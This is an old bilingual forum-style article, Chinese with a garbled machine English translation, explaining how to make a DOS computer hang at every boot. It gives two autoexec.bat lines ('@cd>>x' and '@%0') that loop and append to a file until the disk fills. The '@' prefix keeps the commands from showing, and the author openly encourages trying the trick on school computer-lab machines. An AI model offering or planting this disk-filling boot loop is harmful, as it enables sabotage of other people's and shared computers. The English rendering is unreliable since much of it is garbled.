Dos 下的战斗 Dos fighting under

梦醒时分 Mary

我想很多人都会说:"你老土啊!都哪年了,谁还用那玩艺...."确实,世界变化太快,前两年学的Dos,如今也无用武之地.Windos2000都出来了,Linux学习也是很热门的东西,没有人去研究Dos了.不过我发现了一篇关于用Dos来让电脑死机的,翻译过来让大家研究研究. I think many people will say: "You old fashioned ah! Are what year, and who use that stuff ...." Indeed, the world changes too fast, the first two years learning the Dos, now also useless. Windos2000 are out, Linux is also very popular thing to learn, no one has to study Dos, but I found an article on using Dos to make computer crashes, translated so that everyone studies.

怎样让电脑死机呢,当然有很多的方法,我这就向你介绍一种最简单的方法,下面先让我们来讲讲具体方法: How to make computers crash, of course there are many ways, I'll introduce you to one of the most simple way, let us Laijiang Jiang specific methods below:

到dos下或用记事本打开c:\下的autoexec.bat文件. To the dos or use Notepad to open c: \ autoexec.bat file under.
打入下面二行命令. Into the following two-line command.

@cd>>x @ Cd>> x
@%0 @% 0

去掉其它的一些乱七八糟的东西之后:保存!(废话.,@#!)这样就可以了,你不要再做其它的任何事情. Get rid of some other mess after: save! (Nonsense .,@#!) That's it, you do not do any other thing.

下面让我们来讲讲它是怎么工作的呢? Let Lai Jiangjiang how it work?

@ 符号表示在dos下面,不显示后面的命令(把自己的危险指令掩藏起来,就神不知鬼不觉了). @ Symbol in the following dos, do not display the next command (command their own risk hiding, it mysteriously a).
cd>>x 就是把当前的目录拷贝成一个叫做x的文件. cd>> x is a copy of the current directory into a file called x.
%0 是指不断的重复这条指令. % 0 is the constant repetition of this instruction.

叫做x 的文件就会越来越慢,直到填满了整个硬盘.那么你的电脑一定就会当机了. X file will be called more and more slowly, until it fills the entire hard drive. Then your computer will be crashed.

而且你重新启动后只会看到: And you only see after restart:

Starting MS-DOS... Starting MS-DOS ...

之后就会死机了,不接受任何指令.要去掉它,只要用软盘启动,或跳过AUTOEXEC.BAT文件的执行.再把上面的指令给去除掉就行了. After it crashed, does not accept any instructions. To get rid of it, as long as floppy disks, or skip AUTOEXEC.BAT file execution. Then the above instructions to get rid of on the line.

这个方法非常恶毒,对初学者一定是非常恐怖,但是稍微有一些经验的人就会发现了,所以我建议不要在自己的机器上实验.如果在学校的机房,那我可不管你了.发挥你的想像力吧. This method is very vicious, it must be very frightening for beginners, but the little people who have some experience will find, so I suggest not to experiment on your own machine, if in the school room, that I do not care you. Play your imagination.